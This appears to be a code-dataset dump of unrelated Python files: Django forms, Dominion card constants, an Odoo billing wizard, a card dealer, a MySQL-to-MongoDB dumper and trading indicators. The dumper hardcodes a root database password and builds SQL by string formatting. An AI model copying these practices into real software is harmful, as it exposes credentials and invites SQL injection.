widget=forms.Select(attrs={'id': 'ajYears', 'class': 'form-control'}))\n make = forms.CharField(required=False, label=\"Vehicle Make\",\n widget=forms.Select(\n attrs={'id': 'ajMakes', 'disabled': 'disabled', 'class': 'form-control'}))\n model = forms.CharField(required=False, label=\"Vehicle Model\",\n widget=forms.Select(\n attrs={'id': 'ajModels', 'disabled': 'disabled', 'class': 'form-control'}))\n style = forms.CharField(required=False, label=\"Vehicle Style\",\n widget=forms.Select(\n attrs={'id': 'ajStyles', 'disabled': 'disabled', 'class': 'form-control'}))\n\n class Meta:\n model = Job\n fields = [\n 'customer',\n 'year',\n 'make',\n 'model',\n 'style',\n 'type',\n 'description',\n 'address',\n 'city',\n 'state',\n 'zip',\n ]\n exclude = ['salesperson']\n widgets = {\n 'type': forms.Select(attrs={'class': 'form-control'}),\n 'description': forms.Textarea({'class': 'form-control'}),\n 'customer': CustomerField(attrs={'data-toggle': 'tooltip',\n 'title': mark_safe('Select Customer'),\n 'class': 'form-control'}),\n 'address': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Address'}),\n 'city': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'City'}),\n 'state': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'State'}),\n 'zip': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Zip Code'}),\n }\n\n def save(self, commit=True):\n job = super(JobUpdateForm, self).save(commit=False)\n job.event.title = job.full_name_text\n if commit:\n job.save()\n return job\n\n\nclass AddDollarSign(forms.NumberInput):\n template_name = 'jobs/dollar.html'\n\n\nclass JobCloseForm(forms.ModelForm):\n class Media:\n css = {\n 'all': (\n 'eonasdan-bootstrap-datetimepicker/build/css/bootstrap-datetimepicker.css',\n 'bootstrap/dist/css/bootstrap.css',\n )\n }\n js = (\n 'moment/min/moment.min.js',\n 'eonasdan-bootstrap-datetimepicker/build/js/bootstrap-datetimepicker.min.js',\n 'footable/compiled/footable.js'\n )\n\n class Meta:\n model = Job\n fields = [\n 'completion_time',\n 'labor_price',\n ]\n widgets = {\n 'completion_time': DateTimePicker(\n options={\n \"format\": \"YYYY-MM-DD hh:mm a\",\n \"stepping\": 15,\n \"allowInputToggle\": True,\n },\n ),\n }\n completion_time = forms.DateField(('%Y-%m-%d %I:%M %p',), required=True, widget=DateTimePicker(\n options={\n \"format\": \"YYYY-MM-DD hh:mm A\",\n \"stepping\": 15,\n \"allowInputToggle\": True,\n },\n ))\n labor_price = forms.DecimalField(decimal_places=2, required=True, widget=AddDollarSign(attrs={'step': 0.01, 'class': 'form-control'}))\n","sub_path":"jobs/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":7796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"46201672","text":"# Dominion game constants.\n\nCORE_CARDS = ['Estate', 'Duchy', 'Province', 'Colony',\n 'Copper', 'Silver', 'Gold', 'Platinum',\n 'Potion', 'Curse', 'Ruins']\n\n# this stores all cards with more than 10 cards in the supply\n# doesn't hold victory cards, those are handled in another case\nSPECIAL_SUPPLY_COUNTS = {\n 'Copper': 60,\n 'Silver': 40,\n 'Gold': 30,\n 'Platinum': 12,\n 'Potion': 12,\n 'Spoils': 15,\n 'Rats': 20,\n}\n\n# NOTE: Spoils can't be handled unambigously\nNON_SUPPLY = {'Diadem': 'Tournament', 'Followers': 'Tournament',\n 'Trusty Steed': 'Tournament', 'Princess': 'Tournament',\n 'Bag of Gold': 'Tournament', 'Madman': 'Hermit',\n 'Mercenary': 'Urchin'}\n\nVP_CARDS = ['Estate', 'Duchy', 'Province', 'Colony', 'Gardens', 'Silk Road',\n 'Vineyard', 'Fairgrounds', 'Duke', 'Feodum', 'Great Hall',\n 'Nobles', 'Tunnel', 'Island']\n\nRUINSES = ['Ruined Library', 'Ruined Village', 'Survivors', 'Abandoned Mine',\n 'Ruined Market']\n\nKNIGHTS = ['Dame Anna', 'Dame Josephine', 'Dame Molly', 'Dame Natalie',\n 'Dame Sylvia', 'Sir Bailey', 'Sir Destry', 'Sir Vander',\n 'Sir Michael', 'Sir Martin']\n\nSHELTERS = ['Hovel', 'Overgrown Estate', 'Necropolis']\n\nLOOTERS = ['Marauder', 'Death Cart', 'Cultist']\n\nSPOILS_GIVERS = ['Marauder', 'Bandit Camp', 'Pillage']\n\nPRIZES = ['Diadem', 'Followers', 'Trusty Steed', 'Princess', 'Bag of Gold']\n\nBOT_NAMES = ['Banker Bot', 'Conqueror Bot', 'Defender Bot', 'Lord Bottington',\n 'Serf Bot', 'Villager Bot', 'Warlord Bot', 'Village Idiot Bot']\nbot_copies = []\nfor bot in BOT_NAMES:\n for nth in ['I', 'II', 'III', 'IV', 'V', 'VI']:\n bot_copies.append('%s %s' % (bot, nth))\nBOT_NAMES += bot_copies\n\n# A giant card type dictionary\n# Wheeeeeee\n# (This is copy pasted from the Javascript for the log prettifier,\n# thank you for your busywork sacrifice)\nCARDNAME_TO_TYPE = {\n 'Border Village':'action',\n 'Farming Village':'action',\n 'Mining Village':'action',\n 'Native Village':'action',\n 'Walled Village':'action',\n 'Worker\\'s Village':'action',\n 'Ruined Village':'action-ruins',\n 'Fishing Village':'action-duration',\n 'Village':'action',\n 'Ruined Library':'action-ruins',\n 'Library':'action',\n 'Abandoned Mine':'action-ruins',\n 'Mine':'action',\n 'Bag of Gold':'action',\n 'Fool\\'s Gold':'treasure-reaction',\n 'Gold':'treasure',\n 'Overgrown Estate':'shelter-victory',\n 'Estate':'victory',\n 'Counting House':'action',\n 'Count':'action',\n 'Coppersmith':'action',\n 'Copper':'treasure',\n 'Ruined Market':'action-ruins',\n 'Grand Market':'action',\n 'Black Market':'action',\n 'Market Square':'action-reaction',\n 'Market':'action',\n 'Adventurer':'action',\n 'Alchemist':'action',\n 'Altar':'action',\n 'Ambassador':'action',\n 'Apothecary':'action',\n 'Apprentice':'action',\n 'Armory':'action',\n 'Band of Misfits':'action',\n 'Bandit Camp':'action',\n 'Baron':'action',\n 'Bazaar':'action',\n 'Bishop':'action',\n 'Bridge':'action',\n 'Bureaucrat':'action',\n 'Cartographer':'action',\n 'Catacombs':'action',\n 'Cellar':'action',\n 'Chancellor':'action',\n 'Chapel':'action',\n 'City':'action',\n 'Conspirator':'action',\n 'Council Room':'action',\n 'Courtyard':'action',\n 'Crossroads':'action',\n 'Cultist':'action',\n 'Cutpurse':'action',\n 'Dame Anna':'action',\n 'Dame Molly':'action',\n 'Dame Natalie':'action',\n 'Dame Sylvia':'action',\n 'Death Cart':'action',\n 'Develop':'action',\n 'Duchess':'action',\n 'Embargo':'action',\n 'Embassy':'action',\n 'Envoy':'action',\n 'Expand':'action',\n 'Explorer':'action',\n 'Familiar':'action',\n 'Feast':'action',\n 'Festival':'action',\n 'Followers':'action',\n 'Forager':'action',\n 'Forge':'action',\n 'Fortress':'action',\n 'Fortune Teller':'action',\n 'Ghost Ship':'action',\n 'Golem':'action',\n 'Goons':'action',\n 'Governor':'action',\n 'Graverobber':'action',\n 'Haggler':'action',\n 'Hamlet':'action',\n 'Harvest':'action',\n 'Herbalist':'action',\n 'Hermit':'action',\n 'Highway':'action',\n 'Hunting Grounds':'action',\n 'Hunting Party':'action',\n 'Inn':'action',\n 'Ironmonger':'action',\n 'Ironworks':'action',\n 'JackOfAllTrades':'action',\n 'Jester':'action',\n 'Junk Dealer':'action',\n 'King\\'s Court':'action',\n 'Knights':'action',\n 'Laboratory':'action',\n 'Lookout':'action',\n 'Madman':'action',\n 'Mandarin':'action',\n 'Marauder':'action',\n 'Margrave':'action',\n 'Masquerade':'action',\n 'Menagerie':'action',\n 'Mercenary':'action',\n 'Militia':'action',\n 'Minion':'action',\n 'Mint':'action',\n 'Moneylender':'action',\n 'Monument':'action',\n 'Mountebank':'action',\n 'Mystic':'action',\n 'Navigator':'action',\n 'Noble Brigand':'action',\n 'Nomad Camp':'action',\n 'Oasis':'action',\n 'Oracle':'action',\n 'Pawn':'action',\n 'Pearl Diver':'action',\n 'Peddler':'action',\n 'Pillage':'action',\n 'Pirate Ship':'action',\n 'Poor House':'action',\n 'Possession':'action',\n 'Prince':'action',\n 'Princess':'action',\n 'Procession':'action',\n 'Rabble':'action',\n 'Rats':'action',\n 'Rebuild':'action',\n 'Remake':'action',\n 'Remodel':'action',\n 'Rogue':'action',\n 'Saboteur':'action',\n 'Sage':'action',\n 'Salvager':'action',\n 'Scavenger':'action',\n 'Scheme':'action',\n 'Scout':'action',\n 'Scrying Pool':'action',\n 'Sea Hag':'action',\n 'Shanty Town':'action',\n 'Sir Bailey':'action',\n 'Sir Destry':'action',\n 'Sir Martin':'action',\n 'Sir Michael':'action',\n 'Sir Vander':'action',\n 'Smithy':'action',\n 'Smugglers':'action',\n 'Spice Merchant':'action',\n 'Spy':'action',\n 'Squire':'action',\n 'Stables':'action',\n 'Steward':'action',\n 'Storeroom':'action',\n 'Swindler':'action',\n 'Thief':'action',\n 'Throne Room':'action',\n 'Torturer':'action',\n 'Tournament':'action',\n 'Trade Route':'action',\n 'Trading Post':'action',\n 'Transmute':'action',\n 'Treasure Map':'action',\n 'Treasury':'action',\n 'Tribute':'action',\n 'Trusty Steed':'action',\n 'University':'action',\n 'Upgrade':'action',\n 'Urchin':'action',\n 'Vagrant':'action',\n 'Vault':'action',\n 'Wandering Minstrel':'action',\n 'Warehouse':'action',\n 'Wishing Well':'action',\n 'Witch':'action',\n 'Young Witch':'action',\n 'Woodcutter':'action',\n 'Workshop':'action',\n 'Beggar':'action-reaction',\n 'Watchtower':'action-reaction',\n 'Horse Traders':'action-reaction',\n 'Moat':'action-reaction',\n 'Secret Chamber':'action-reaction',\n 'Trader':'action-reaction',\n 'Bank':'treasure',\n 'Cache':'treasure',\n 'Contraband':'treasure',\n 'Counterfeit':'treasure',\n 'Diadem':'treasure',\n 'Hoard':'treasure',\n 'Horn of Plenty':'treasure',\n 'Ill-Gotten Gains':'treasure',\n 'Loan':'treasure',\n 'Philosopher\\'s Stone':'treasure',\n 'Platinum':'treasure',\n 'Potion':'treasure',\n 'Quarry':'treasure',\n 'Royal Seal':'treasure',\n 'Silver':'treasure',\n 'Spoils':'treasure',\n 'Stash':'treasure',\n 'Talisman':'treasure',\n 'Venture':'treasure',\n 'Colony':'victory',\n 'Duchy':'victory',\n 'Duke':'victory',\n 'Fairgrounds':'victory',\n 'Farmland':'victory',\n 'Feodum':'victory',\n 'Gardens':'victory',\n 'Province':'victory',\n 'Silk Road':'victory',\n 'Vineyard':'victory',\n 'Caravan':'action-duration',\n 'Haven':'action-duration',\n 'Lighthouse':'action-duration',\n 'Merchant Ship':'action-duration',\n 'Outpost':'action-duration',\n 'Tactician':'action-duration',\n 'Wharf':'action-duration',\n 'Survivors':'action-ruins',\n 'Dame Josephine':'action-victory',\n 'Great Hall':'action-victory',\n 'Nobles':'action-victory',\n 'Island':'action-victory',\n 'Harem':'treasure-victory',\n 'Hovel':'shelter-reaction',\n 'Necropolis':'action-shelter',\n 'Tunnel':'victory-reaction',\n 'victory point chips':'vp-chip',\n 'Curse':'curse',\n 'Candlestick Maker':'action',\n 'Stonemason':'action',\n 'Doctor':'action',\n 'Masterpiece':'treasure',\n 'Advisor':'action',\n 'Herald':'action',\n 'Plaza':'action',\n 'Taxman':'action-attack',\n 'Baker':'action',\n 'Butcher':'action',\n 'Journeyman':'action',\n 'Merchant Guild':'action',\n 'Soothsayer':'action-attack',\n}\n\n# These help disambiguate actions taken based on the last action played\n# TODO IGG gains a copper to hand on play, but gains a curse to discard on buy\n# must disambiguate between the two (probably has its own edge case)\n# TODO Beggar on play vs reaction\nGAIN_TO_HAND = [\n 'Mine', 'Trading Post', 'Torturer', 'Explorer', 'Ill-Gotten Gains', 'Beggar',\n]\n\n# these are cards that gain from somewhere not in the supply (usually a trashing attack)\n# for these purposes we treat Spoils, Madman, as supply piles\n# TODO find out if Graverobber gain is from trash or from supply\nGAIN_FROM_ELSEWHERE = [\n 'Thief', 'Noble Brigand', 'Rogue', 'Graverobber'\n]\n\n# Treasure Map is not in this list because it's an odd edge case\n# It's handled explicitly elsewhere\n# TODO since extra play lines are removed, these occasionally may act weird\n# if they are Throned or Counterfeited, and in particular Procession is broken\n# FIX THIS\n# TODO handle Hermit\n# Hermit trashes from hand, or discard, or from play when no cards are bought\n# for now this ignore all of that.\n# TODO handle Death Cart\n# Death Cart trashes either itself or a card from hand\n# need to check between the two\n# Fortress is very special and handled back in the parser\n# TODO handle Knights\n# (both trash from play if Knight revealed, or from revealed cards, or for Dame Anna from hand)\n# for now ignore it all\nTRASHES_FROM_PLAY = ['Feast', 'Mining Village', 'Horn of Plenty', 'Hermit', 'Urchin', 'Death Cart', 'Procession', 'Counterfeit', 'Pillage', 'Embargo',\n 'Dame Anna', 'Dame Josephine', 'Dame Molly', 'Dame Natalie', 'Dame Sylvia',\n 'Sir Bailey', 'Sir Destry', 'Sir Martin', 'Sir Michael', 'Sir Vander',\n]\n\nTRASHES_FROM_REVEAL = [\n 'Thief', 'Swindler', 'Saboteur', 'Noble Brigand', 'Lookout', 'Pirate Ship', 'Loan', 'Rebuild', 'Rogue',\n 'Dame Anna', 'Dame Josephine', 'Dame Molly', 'Dame Natalie', 'Dame Sylvia',\n 'Sir Bailey', 'Sir Destry', 'Sir Martin', 'Sir Michael', 'Sir Vander',\n 'Doctor',\n]\n\n# TODO handle Sir Michael\nDISCARD_FROM_REVEAL = [\n 'Library', 'Hunting Party', 'Spy', 'Thief', 'Adventurer', 'Saboteur', 'Tribute', 'Navigator', 'Pirate Ship', 'Sea Hag', 'Noble Brigand', 'Scrying Pool', 'Golem', 'Loan', 'Rabble', 'Venture', 'Fortune Teller', 'Farming Village', 'Harvest', 'Jester', 'Duchess', 'Oracle', 'JackOfAllTrades', 'Cartographer', 'Sage', 'Ironmonger', 'Wandering Minstrel', 'Catacombs', 'Rebuild', 'Rogue', 'Survivors',\n 'Dame Anna', 'Dame Josephine', 'Dame Molly', 'Dame Natalie', 'Dame Sylvia',\n 'Sir Bailey', 'Sir Destry', 'Sir Martin', 'Sir Michael', 'Sir Vander',\n 'Advisor', 'Journeyman', 'Envoy', 'Lookout',\n]\n\nTOPDECKS_FROM_REVEAL = [\n 'Spy', 'Wishing Well', 'Scout', 'Pearl Diver', 'Lookout', 'Navigator', 'Apothecary', 'Scrying Pool', 'Rabble', 'Fortune Teller', 'Duchess', 'Oracle', 'Cartographer', 'Scavenger', 'Wandering Minstrel', 'Survivors', 'Doctor', 'Herald', 'Vagrant', 'JackOfAllTrades','Ironmonger'\n]\n\n# TODO all of these cards are triggered in cleanup\n# So, they may not be the resolving action anymore\n# need to handle this properly\nTOPDECKS_FROM_PLAY = ['Treasury', 'Herbalist', 'Alchemist']\n\n# Note - Horse Traders reaction works by luck\n# since for every Attack in the game, it is not in the list below,\n# so the HT revealed is correctly set aside\n# TODO make this robust and explicit\nSETS_ASIDE_FROM_DECK = ['Native Village']\n\n# TODO implement Watchtower, Mint on gain, Royal Seal topdeck, Walled Village, reactions...\n# In general, do effects that occur when the card is NOT being played\n# TODO implement Band of Misfits (oh my god please no)\n# TODO implement Black Market\n\nTOPDECKS_ON_BUY = ['Herald', 'Inn', 'Doctor']\n# Nomad Camp isn't actually needed here, the NC topdeck isn't logged\n# just here for completion\nTOPDECKS_ON_GAIN = ['Inn', 'Nomad Camp']\nTRASHES_ON_BUY = ['Doctor', 'Mint', 'Noble Brigand']\nDISCARD_ON_BUY = ['Doctor', 'Noble Brigand']\n\nRETURN_TO_SUPPLY_ON_PLAY = ['Spoils', 'Madman']\n","sub_path":"parser/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":12469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"134454143","text":"# Copyright 2018, Jarsa Sistemas, S.A. de C.V.\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nfrom odoo import _, api, fields, models\n\n\nclass ProjectBillingRequestWizard(models.TransientModel):\n _name = 'project.billing.request.wizard'\n\n line_ids = fields.One2many('project.billing.request.wizard.line', 'wiz_id')\n project_id = fields.Many2one('project.project')\n\n @api.model\n def _prepare_item(self, line):\n return {\n 'income_id': line.id,\n 'name': line.name,\n 'remaining_qty': line.remaining_qty,\n 'qty': line.remaining_qty,\n 'amount': line.amount,\n }\n\n @api.model\n def default_get(self, fields):\n res = super().default_get(fields)\n project = self.env['project.project'].browse(\n self._context.get('active_id'))\n lines = []\n for line in project.mapped('income_ids'):\n if line.remaining_qty <= 0:\n continue\n lines.append([0, 0, self._prepare_item(line)])\n res.update({\n 'line_ids': lines,\n 'project_id': self._context.get('active_id'),\n })\n return res\n\n @api.multi\n def create_billing(self):\n unit = self.env.ref('product.product_uom_unit')\n for rec in self:\n lines = []\n for line in rec.line_ids:\n ref = False\n active_order = False\n if line.qty == line.remaining_qty:\n ref = _(\n 'Total Billing of: Project: %s - Quantity: %s') % (\n self.project_id.name, line.qty)\n active_order = False\n elif line.qty < line.remaining_qty:\n ref = _(\n 'Partial Billing of: Project: %s - Quantity: %s') % (\n self.project_id.name, line.qty)\n active_order = True\n lines.append(\n (0, 0,\n {\n 'account_id': (\n self.env.user.company_id.product_id.\n property_account_income_id.id\n if self.env.user.company_id.product_id.\n property_account_income_id.id\n else\n self.env.user.company_id.product_id.\n categ_id.property_account_income_categ_id.id),\n 'ref': ref,\n 'price_unit': line.amount,\n 'product_uom_id': unit.id,\n 'quantity': line.qty,\n 'income_id': line.income_id.id,\n 'amount': (\n line.amount * line.qty),\n 'account_analytic_id': (\n self.project_id.analytic_account_id.id),\n 'has_active_order': active_order,\n })\n )\n res = self.env['analytic.billing.plan'].create({\n 'customer_id': self.project_id.partner_id.id,\n 'date': fields.Date.today(),\n 'project_id': self.project_id.id,\n 'currency_id': self.env.user.company_id.currency_id.id,\n 'analytic_billing_plan_line_ids': lines,\n })\n return {\n 'name': _('Billing Request'),\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'analytic.billing.plan',\n 'res_id': res.id,\n 'target': 'current',\n 'type': 'ir.actions.act_window',\n }\n\n\nclass ProjectBillingRequestWizardLine(models.TransientModel):\n _name = 'project.billing.request.wizard.line'\n\n wiz_id = fields.Many2one('project.billing.request.wizard')\n income_id = fields.Many2one('project.income')\n name = fields.Char()\n remaining_qty = fields.Float()\n amount = fields.Float()\n qty = fields.Float()\n","sub_path":"project_billing_plan/wizards/project_billing_request_wizard.py","file_name":"project_billing_request_wizard.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"203623584","text":"\"\"\"\nProgram: Card Dealer Program Challenge\nName: Jasmohan Bawa\nDate: January 23, 2017\nAbout: Performs all functionality of Card Dealer, but now no card will be repeated when dealing out cards\nParent Program: card_dealer\n\"\"\"\n\nimport random\n\nVALUES = (\"Ace of\", \"2 of\", \"3 of\", \"4 of\", \"5 of\", \"6 of\", \"7 of\", \"8 of\", \"9 of\", \"10 of\", \"Jack of\", \"Queen of\", \"King of\")\nSUITS = (\" Spades\", \" Clubs\", \" Hearts\", \" Diamonds\")\ncards_used = []\n\nto_continue = True\n\nwhile to_continue is True:\n\n print(\"The number of Players multiplied by the Number of Cards per Player must be less than or equal to 52 in order for everyone to receive a card\")\n max_reached = True\n \n while max_reached is True:\n hands = int(input(\"Please enter the number of players playing: \"))\n cards = int(input(\"Please enter the number of cards per player: \"))\n if(hands * cards) <= 52:\n max_reached = False\n else:\n print(\"Please enter a set of values that are less than or equal to 52 when multiplied\\n\")\n \n cards_used = [] \n for i in range(0, hands):\n print(\"\\nHand \", (i + 1))\n \n for j in range(0, cards):\n \n is_added = False\n \n while is_added is False:\n current_card = (random.choice(VALUES) + random.choice(SUITS))\n if current_card not in cards_used:\n print(current_card)\n cards_used.append(current_card)\n is_added = True\n \n user_continue = input(\"\\nWould you like to continue? (y/n)\")\n correct_response = False\n \n while correct_response is False:\n if(user_continue.lower() == \"y\"):\n correct_response = True\n to_continue = True\n \n elif(user_continue.lower() == \"n\"):\n correct_response = True\n to_continue = False\n \n else:\n correct_response = False\n print(\"Invalid input, please type: Y or N\")\n user_continue = input(\"\\nWould you like to continue? (y/n)\")\n \nprint(\"Come Back Soon!!!\")","sub_path":"Lab4/no_cheating.py","file_name":"no_cheating.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"90474404","text":"#!/usr/bin/python3\n\nimport mysql.connector\nimport datetime\n\ndef connect():\n # Connextion à la base de données locale\n db = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"V8eOFR%_\",\n database=\"employee\"\n )\n return db\n \ndef execute(query):\n # Execution d'une requête générique et renvoi des resultats\n try:\n db = connect()\n cursor = db.cursor()\n cursor.execute(query)\n result = cursor.fetchall()\n cursor.close()\n db.close()\n return result\n except mysql.connector.Error as err:\n print('[-] An error occured while executing the following query: {} - {}'.format(query, type(err)))\n # On log dans un fichier si jamais une erreur arrive\n f = open('errors.log', 'a')\n f.write('ERROR: {}\\nQuery : {}\\n'.format(err, query))\n f.close()\n return None\n\ndef castDate(date):\n # On cast le type date qui provient de MySQL en datetime pour MongoDB\n dt = datetime.datetime.combine(date, datetime.datetime.min.time())\n return dt\n\ndef castDateFields(document):\n # Cast tous les champs de type date en datetime\n for key in document:\n if type(document[key]) is datetime.date:\n document[key] = castDate(document[key])\n return document\n\ndef getManagerTitle(deptManager, fromDate, toDate):\n # Utilitaire pour mapper les dates des titres aux dates de dept_manager,\n # afin de savoir si l'employé était manager lorsqu'il occupait ce poste\n for row in deptManager:\n if(row[2] == fromDate and row[3] == toDate):\n return row\n \ndef dump_employee(empNo):\n result = execute('SELECT * from employees WHERE emp_no = {}'.format(empNo))\n result = result[0]\n employee = {\n \"_id\": result[0],\n \"emp_no\": result[0],\n \"birth_date\": result[1],\n \"first_name\": result[2],\n \"last_name\": result[3],\n \"gender\": result[4],\n \"hire_date\": result[5]\n }\n titles = dump_titles(empNo)\n if titles is not None:\n employee[\"titles\"] = titles\n salaries = dump_salaries(empNo)\n if salaries is not None:\n employee[\"salaries\"] = salaries\n employee = dump_depts(empNo, employee)\n return castDateFields(employee)\n\ndef dump_titles(empNo):\n try:\n # Récupération des titres d'un employé\n result = execute('SELECT * FROM titles WHERE emp_no = {}'.format(empNo))\n # Récupération des dates où un employé a été manager\n mgmt = execute('SELECT * FROM dept_manager WHERE emp_no = {}'.format(empNo))\n titles = []\n for row in result:\n title = {\n \"title\": row[1],\n \"from_date\": row[2],\n \"to_date\": row[3]\n }\n title[\"isManager\"] = True if getManagerTitle(mgmt, row[2], row[3]) is not None else False\n titles.append(castDateFields(title))\n return titles\n except:\n return []\n\ndef dump_salaries(empNo):\n # Récupération des salaires\n try:\n result = execute('SELECT * FROM salaries WHERE emp_no = {}'.format(empNo))\n salaries = []\n for row in result:\n salary = {\n \"salary\": row[1],\n \"from_date\": row[2],\n \"to_date\": row[3]\n }\n salaries.append(castDateFields(salary))\n return salaries\n except:\n return []\n\ndef dump_depts(empNo, document):\n # Récupération de l'historique des départements d'un employé, classés par date\n result = execute('SELECT * FROM dept_emp dpe INNER JOIN departments d ON dpe.dept_no = d.dept_no WHERE emp_no = {} ORDER BY to_date'.format(empNo))\n dept_history = []\n for row in result:\n dept = {\n \"dept_name\": row[5],\n \"dept_no\": row[1],\n \"from_date\": row[2],\n \"to_date\": row[3]\n }\n # On regarde si l'année est 9999 = année actuelle, sinon on l'ajoute à l'historique\n if(row[3].year == 9999):\n # On met uniquement les champs necéssaires dans current_dept\n dept.pop(\"to_date\", None)\n document[\"current_dept\"] = dept\n else:\n dept_history.append(castDateFields(dept))\n if(len(dept_history) > 0):\n document[\"dept_history\"] = dept_history\n if not \"current_dept\" in document:\n # Si on a pas trouvé de current_dept alors l'employé ne travaille plus dans l'entreprise\n document[\"current_dept\"] = {\n \"dept_name\": \"No longer employed\",\n \"dept_no\": \"d000\",\n \"from_date\": result[-1][3] # date de fin d'embauche (dernière ligne, champ to_date)\n }\n document[\"current_dept\"] = castDateFields(document[\"current_dept\"]) # On cast les types date en datetime\n return document\n\ndef dump_employees_ids():\n # Utilitaire pour récupérer une liste des ids des employés pour les parcourir par la suite\n result = execute('SELECT emp_no FROM employees')\n print(result)\n output = open('ids.txt', 'w')\n ids = []\n for row in result:\n output.write(\"%s\\n\" % row[0])\n return ids\n","sub_path":"A5/cloud/scalability/utils/dumper.py","file_name":"dumper.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"83250245","text":"import math\nimport statistics\nimport numpy as np\nimport operator\nimport pandas as pd\n\n\n#*------- INDICATOR UTILS -------*#\n\n\ndef get_volume_score(volumes):\n \"\"\"\n Considers volumes when scoring for oversold pairs\n\n Args:\n volumes - Volumes to score\n \"\"\"\n\n volume_score = 0\n possible_outlier = get_outlier(volumes)\n \n # Remove outlier high volumes\n if possible_outlier is not None:\n volumes = [x for i, x in enumerate(volumes) if i != possible_outlier]\n\n for entry in volumes:\n volume_score += normalise_datapoint(entry, min(volumes), max(volumes))\n\n return volume_score\n\n\ndef get_outlier(all_values):\n \"\"\"\n Checks whether the max value of a list of values is an \n outlier and returns its index if it is. If there is no outlier this \n function returns None\n \"\"\"\n\n max_index, max_value = max(enumerate(all_values), key=operator.itemgetter(1))\n over_50 = max_value / 2\n\n if max_index > 0 and max_index < len(all_values) - 1:\n if all_values[max_index - 1] < over_50 and all_values[max_index + 1] < over_50:\n return max_index\n \n elif max_index == 0:\n if all_values[1] < over_50 and all_values[2] < over_50:\n return max_index\n \n elif max_index == len(all_values) - 1:\n if all_values[-2] < over_50 and all_values[-3] < over_50:\n return max_index\n \n return None\n\n\ndef get_exponential_moving_average(yesterday, today, n):\n \"\"\"\n Returns the exponential moving average for a given previous EMA.\n The first instance of use will need to be the SMA.\n\n Args:\n yesterday - The previous EMA value\n today - Close price for the interval\n n - How far back to pull EMA from\n \"\"\"\n\n multiplier = 2 / (n + 1)\n return (today * multiplier) + (yesterday * (1 - multiplier))\n\n\ndef get_exponential_moving_average_line(closes, n):\n \"\"\"\n Generates the EMA for a given interval \"n\". Such a separate \n function is not required for SMA, as it can be done with a list \n comprehension\n\n Args:\n closes - Close prices\n n - Interval to get EMA for\n \"\"\"\n\n initial_value = get_simple_moving_average(n, closes, n)\n ema_line = [initial_value]\n\n for price in closes[n + 1:]:\n new_ema = get_exponential_moving_average(ema_line[-1], price, n)\n ema_line.append(new_ema)\n \n return ema_line\n\n\ndef get_standard_devs(index, moving_averages, n=20):\n \"\"\"\n Returns the standard deviation from a set of \"n\" moving averages\n Assumes that there are \"n\" previous MAs to build a std dev from\n\n Args:\n index - Index in \"CLOSE\" to get MA for\n moving_averages - List of MAs\n n - How far back to pull MA from (defaults to 20 entries)\n \"\"\"\n\n ma_entries = moving_averages[index: (index - n): -1]\n return statistics.stdev(ma_entries)\n\n\ndef get_gains_and_losses(closes):\n \"\"\"\n Gets all gains and losses for the provided close prices\n\n Args:\n closes - Close price points\n \"\"\"\n\n gains = []\n losses = []\n compare = closes[0]\n\n for price in closes[1:]:\n percentage = price / compare * 100\n \n if price >= compare:\n gains.append(100 - percentage)\n else:\n losses.append(100 - percentage)\n \n compare = price\n \n return (gains, losses)\n\n\ndef normalise_datapoint(entry, min_value, max_value):\n \"\"\"\n Normalises a datapoint between 0 and 1\n\n Args:\n entry - Entry to normalise\n min_value - Minimum value in the list\n max_value - Maximum value in the list\n \"\"\"\n\n numerator = (entry - min_value)\n return numerator / (max_value - min_value)\n\n","sub_path":"src/indicators/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"24020692","text":"from torch import nn\r\n# from utils import *\r\nimport torch.nn.functional as F\r\nfrom math import sqrt\r\n# from itertools import product as product\r\nimport torchvision\r\nimport torch\r\n\r\nDEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\r\n\r\n\r\n\r\n\r\ndef cxcy_to_xy(cxcy):\r\n \"\"\"\r\n Convert bounding boxes from center-size coordinates (c_x, c_y, w, h) to boundary coordinates (x_min, y_min, x_max, y_max).\r\n :param cxcy: bounding boxes in center-size coordinates, a tensor of size (n_boxes, 4)\r\n :return: bounding boxes in boundary coordinates, a tensor of size (n_boxes, 4)\r\n \"\"\"\r\n return torch.cat([cxcy[:, :2] - (cxcy[:, 2:] / 2), # x_min, y_min\r\n cxcy[:, :2] + (cxcy[:, 2:] / 2)], 1) # x_max, y_max\r\n\r\n\r\ndef cxcy_to_gcxgcy(cxcy, priors_cxcy):\r\n \"\"\"\r\n Encode bounding boxes (that are in center-size form) w.r.t. the corresponding prior boxes (that are in center-size form).\r\n For the center coordinates, find the offset with respect to the prior box, and scale by the size of the prior box.\r\n For the size coordinates, scale by the size of the prior box, and convert to the log-space.\r\n In the model, we are predicting bounding box coordinates in this encoded form.\r\n :param cxcy: bounding boxes in center-size coordinates, a tensor of size (n_priors, 4)\r\n :param priors_cxcy: prior boxes with respect to which the encoding must be performed, a tensor of size (n_priors, 4)\r\n :return: encoded bounding boxes, a tensor of size (n_priors, 4)\r\n \"\"\"\r\n priors_cxcy=priors_cxcy.to(DEVICE)\r\n\r\n # The 10 and 5 below are referred to as 'variances' in the original Caffe repo, completely empirical\r\n # They are for some sort of numerical conditioning, for 'scaling the localization gradient'\r\n # See https://github.com/weiliu89/caffe/issues/155\r\n return torch.cat([(cxcy[:, :2] - priors_cxcy[:, :2]) / (priors_cxcy[:, 